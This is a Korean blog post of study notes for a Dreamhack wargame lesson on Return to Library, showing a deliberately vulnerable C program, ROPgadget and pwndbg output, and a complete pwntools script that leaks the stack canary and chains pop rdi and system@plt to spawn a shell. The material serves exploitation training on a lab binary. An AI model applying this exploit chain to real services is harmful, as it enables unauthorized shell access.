공부중/시스템 해킹

[Dreamhack] Exploit Tech: Return to Library

silver surfer 2024. 9. 19.

이전 강의까지 배운 공격기법과 보호 기법을 순서대로 정리하면 다음과 같다.

  • Return Address Overwrite: 반환 주소를 악성 함수의 주소로 덮어서 셸 획득
  • Stack Canary: 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반환 주소를 덮기 어렵게 함
  • Return to Shellcode: 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득
  • ASLR: 임의 버퍼의 주소를 알기 어렵게 함
  • NX: 각 세그먼트에 불필요한 실행 권한을 제거함으로써 공격자가 임의 버퍼에 주입한 코드를 실행하기 어렵게 함

흐름을 살펴보면 공격 기법과 보호 기법이 서로 어떤 영향을 주고받으며 발전해왔을지 알 수 있다. 또한, 한편으론 NX의 등장으로 인해 이를 우회하는 공격이 다시금 등장했을 것이라 예상할 수 있다. 실제로 NX가 리눅스에 도입된 2004년 전후로 이를 우회하는 공격 기법이 여러 컨퍼런스에 발표되었다.

이번 강의에서는 NX를 우회하는 공격 기법으로 널리 알려진 Return To Library(RTL)를 소개할 것이다. 매우 중요한 공격기법이므로 주의를 기울여 공부하자

 

** Return to Library

Return To Library

NX로 인해 공격자가 버퍼에 주입한 셸 코드는 실행하기 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능했다. 그래서 공격자들은 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안했다.

프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.

이 중, 공격자들이 주목한 것은 다양한 함수가 구현된 라이브러리였다. 몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어있다. 예를 들어, 리눅스에서 C언어로 작성된 프로그램이 참조하는 libc에는 system, execve 등 프로세스의 실행과 관련된 함수들이 구현되어있다.

공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 공격기법을 개발하였고, 이를 Return To Libc라고 이름 지었다. 다른 라이브러리도 공격에 활용될 수 있으므로 이 공격기법은 Return To Library라고도 불린다. 유사한 공격 기법으로 Return to PLT가 있는데, 이 공격 기법도 라이브러리의 코드를 사용하는 것이 핵심이므로, 이 강의에서는 RTL의 하위분류로 보겠다.

강의에서는 하단의 코드를 예제로 사용한다. 바이너리는 본 워게임의 첨부 파일로 제공되므로 다운로드하여 실습해보자

RTL 실습 코드

 

** 분석

보호 기법

checksec 명령어로 다운로드한 바이너리에 적용된 보호 기법을 파악한다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

카나리가 존재하고, NX가 적용되어있다. 실습 환경 및 최신 리눅스 커널에서 ASLR은 기본으로 적용되어 있으므로, 특별히 언급하지 않는다면 ASLR은 적용된 것이다.

 

코드 분석

취약점은 지난 강의들과 같음

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

"/bin/sh"를 코드 섹션에 추가

rtl.c의 8번째 줄은 "/bin/sh'를 코드 섹션에 추가하기 위해 작성된 코드이다. ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, "/bin/sh"의 주소는 고정되어 있다. 잠시 후 살펴보겠지만, 이 문자열은 공격에 유용하게 사용될 수 있다.

 

system 함수를 PLT에 추가

rtl.c의 17번째 줄은 PLT에 system을 추가하기 위해 작성된 코드이다. 지난 강의에서 배웠듯 PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블이다. 그 중 PLT에는 함수의 주소가 resovle 되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다.

따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다. ASLR이 걸려 있어도 PIE가 적용되어있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. 이 공격기법을 Return to PLT라고 부른다.

라이브러리의 베이스 주소를 구하여 ASLR을 우회하는 기법은 다음 강의에서 다루고, 이 강의에서는 PLT를 이용하여 NX를 우회하도록 한다.

ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 다음 코드를 작성하면 PLT에 system 함수를 추가할 수 있다.

버퍼 오버플로우

rtl.c의 19번째 줄부터 28번째 줄까지는 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성된 코드이다. 버퍼 오버플로우로 카나리를 우회하는 방법 및 반환 주소를 덮는 방법은 지난 번에 다뤘으므로 여기서는 설명하지 않을 것이다.

 

** 익스플로잇 설계

익스플로잇 설계

1. 카나리 우회 

Exploit Tect: Return To Shellcode에서와 마찬가지로, 첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있다.

2. rdi 값을 "/bin/sh"의 주소로 설정 및 셸 획득

카나리를 구했으면 이제 두 번째 입력으로 반환 주소를 덮을 수 있다. 그러나 NX로 인해 지난 강의에서와 같이 buf에 셸 코드를 주입하고 이를 실행할 수는 없다. 이 강의에서는 다른 방법으로 셸을 획득해야한다.

공격을 위해 알고 있는 정보를 정리해보면 다음과 같다

  • "/bin/sh"의 주소를 안다
  • system 함수의 PLT 주소를 안다 --> system 함수를 호출할 수 있다.

Exploit Tech: Return Address Overwrite에서 system("/bin/sh")를 호출하면 셸을 획득할 수 있음을 배웠다. x86-64의 호출 규약에 따르면 이는 rdi="/bin/sh" 주소인 상태에서 system 함수를 호출한 것과 같다

이 예제에서는 "/bin/sh"의 주소를 알고, system 함수를 호출할 수 있으므로 "/bin/sh"의 주소를 rdi의 값으로 설정할 수 있다면 system("/bin/sh")를 실행할 수 있다. 이를 위해선 리턴 가젯을 활용해야 한다.

 

** 리턴 가젯

리턴 가젯(Return gadget)은 다음과 같이 ret 명령어로 끝나는 어셈블리 코드 조각을 의미한다. pwntools 설치 시 함께 설치되는 ROPgadget 명령어를 사용해서 다음과 같이 가젯을 구할 수 있다.

$ ROPgadget --binary rtl
Gadgets information
============================================================
...
0x0000000000400285 : ret
...

Unique gadgets found: 83
$

 

이제까지의 강의에서는 어떤 함수의 주소 또는 셸 코드의 주소로 반환 주소를 덮어서 한 번에 셸을 획득했다. 그러나 NX로 인해 셸 코드를 실행할 수 없는 상황에서, 단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능하다.

리턴 가젯은 반환 주소를 덮은 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다. 예를 들어 이 예제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고, system 함수를 호출해야 한다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면 pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret으로 system 함수를 호출할 수 있다.

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

대부분의 함수는 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다. 리턴 가젯을 사용한 더욱 복잡한 공격은 다음 강의인 Exploit Tech: Return-Oriented Programming에서 소개할 것이다.

카나리를 우회하고, system("/bin/sh")를 호출할 계획을 세웠으므로, 이를 코드로 구현해보겠다. 반드시 직접 구현해보면서 이해해보자.

 

** 익스플로잇

카나리 우회

카나리를 우회하는 과정은 지난 강의와 같으므로 설명을 생략한다. 다음의 결과가 나오도록 스크립트를 작성하면 된다.

$ python3 rtl.py
[+] Starting local process './rtl': pid 4040
[*] '/home/dreamhack/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0x6d1a5da4ab1c0500
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

버퍼가 총 0x30(48)바이트이므로 버퍼와 Canary에 해당하는 8바이트 중 7바이트를 읽어야하므로 0x39(57)바이트를 채운다. Canary를 유출하려면 Canary 바로 앞까지 덮어쓰기 위해 57바이트(0x39)를 채워야 Canary 값을 안전하게 읽을 수 있다. 코드에서 p.recvn(7)을 통해 마지막 7바이트를 받아 Canary 값을 완성하고 유출할 수 있다.

  • p.recvn(7)은 프로세스에서 7바이트의 Canary 값을 읽어온다
  • Canary는 8바이트(64비트) 값인데, 첫 번째 바이트는 보통 \\x00이다. 그래서 이 값 앞에 b'\\x00'을 붙여서 총 8바이트로 만들고, u64() 함수로 64비트 정수로 변환한다

canary: 0xf133b9aa5e44a700

 

** 리턴 가젯 찾기

리턴 가젯을 찾는 방법은 다양하지만, 일반적으로 ROPgadget을 사용한다. ROPgadget은 pypi를 이용하여 간단히 설치할 수 있다.

$ python3 -m pip install ROPgadget --user

 

다음 명령어로 설치가 정상적으로 이뤄졌음을 확인할 수 있다.

$ ROPgadget -v
Version:        ROPgadget v7.3
Author:         Jonathan Salwan
Author page:    https://twitter.com/JonathanSalwan
Project page:   http://shell-storm.org/project/ROPgadget/

 

다음 명령어로 필요한 가젯을 찾을 수 있다 --re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다. 일반적으로 바이너리에 포함된 가젯의 수가 매우 많으므로 필터링하여 가젯을 찾는 것을 추천한다. 왼편에 16진수로 적인 주소가 가젯의 주소이다. 

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

0x0000000000400853

 

ret 찾기

$ ROPgadget --binary ./rtl --re "ret"
Gadgets information
============================================================
0x0000000000400285 : ret

 

0x0000000000400285

gdb에서 disassemble main으로 ret을 찾았을 때와는 다르다.

 

  • GDB로 찾은 ret (0x00000000004007e7)은 특정 함수의 리턴 지점이므로 사용 시 그 함수의 흐름에 영향을 받을 수 있습니다.
  • ROPgadget으로 찾은 ret (0x0000000000400285)은 독립적인 가젯으로, 스택 정렬 등 익스플로잇에서 안전하게 사용할 수 있는 가젯입니다.

 

 

 

** 익스플로잇

앞서 설명했듯 다음과 같이 가젯을 구성하고, 실행하면 system("/bin/sh")를 실행할 수 있다.

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

 

"/bin/sh"의 주소를 pwndbg로 찾을 수 있다

pwndbg> search /bin/sh
rtl             0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl             0x600874 0x68732f6e69622f /* '/bin/sh' */
libc-2.27.so    0x7ff36c1aa0fa 0x68732f6e69622f /* '/bin/sh' */

강의의 명령어로는 안 찾아져서 아래와 같이 입력했다.

널 바이트 종결을 고려하지 않는 바이트 패턴 검색이라서 안 찾아진거라고...본다

find &system, +99999999, "/bin/sh"

0x7ffff7dd8678

 

 

system 함수의 PLT 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다.

pwndbg> plt
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt
pwndbg> info func @plt
All functions matching regular expression "@plt":

Non-debugging symbols:
0x00000000004005b0  puts@plt
0x00000000004005c0  __stack_chk_fail@plt
0x00000000004005d0  system@plt
0x00000000004005e0  printf@plt
0x00000000004005f0  read@plt
0x0000000000400600  setvbuf@plt

 

여기서는 pwntools의 API로 스크립트를 작성할 것이다.

가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환주소를 덮으면 셸을 획득할 수 있다. 여기서 한 가지 주의할 점은 system 함수로, rip가 이동할 때 스택은 반드시 0x10 단위로 정렬되어 있어야한다는 것이다. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10 단위로 정렬되어있지 않으면 Segmentation Fault를 발생시킨다.

system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8바이트 뒤로 미뤄보는것이 좋다. 이를 위해서 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다.

이 가젯이 무엇인지는 직접 찾아서 가젯에 추가해보자. 스크립트를 실행했을 때, 다음과 같이 셸이 획득되면 성공이다.

$ python3 rtl.py
[+] Starting local process './rtl': pid 4109
[*] '/home/dreamhack/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0xf2e763e6faec3f00
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

 

 

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

마치며

강의 요약

이번 강의에서는 NX를 우회하는 RTL 공격 기법을 살펴보았습니다. RTL 공격 기법은 이후 chaining RTL, 그리고 다음 강의에서 살펴볼 Return Oriented Programming (ROP)로 발전합니다. 이 과정에서 중요하게 사용되는 것이 이번 강의에서 소개한 리턴 가젯입니다.

이 강의에서는 익스플로잇에 바이너리의 가젯만을 사용하였지만, 라이브러리의 베이스 주소를 안다면 라이브러리의 가젯들도 마찬가지의 방법으로 사용할 수 있습니다. 라이브러리에는 매우 많은 가젯이 포함되어 있으므로 이들을 적절히 응용하면 어셈블리어로 프로그래밍하는 것과 유사한 효과를 얻을 수 있습니다.

그래서 이름 붙여진 것이 Return Oriented Programming (ROP)입니다. 다음 강의에서는 이를 이용하여 지금까지 배운 보호 기법을 모두 우회하고, GOT를 조작해서 셸을 획득하는 실습을 해보겠습니다. 이번 강의에서 배운 내용의 응용이므로 이 강의의 내용을 충분히 숙지하고 다음 강의로 진행하시기 바랍니다. 🚩

 

 

댓글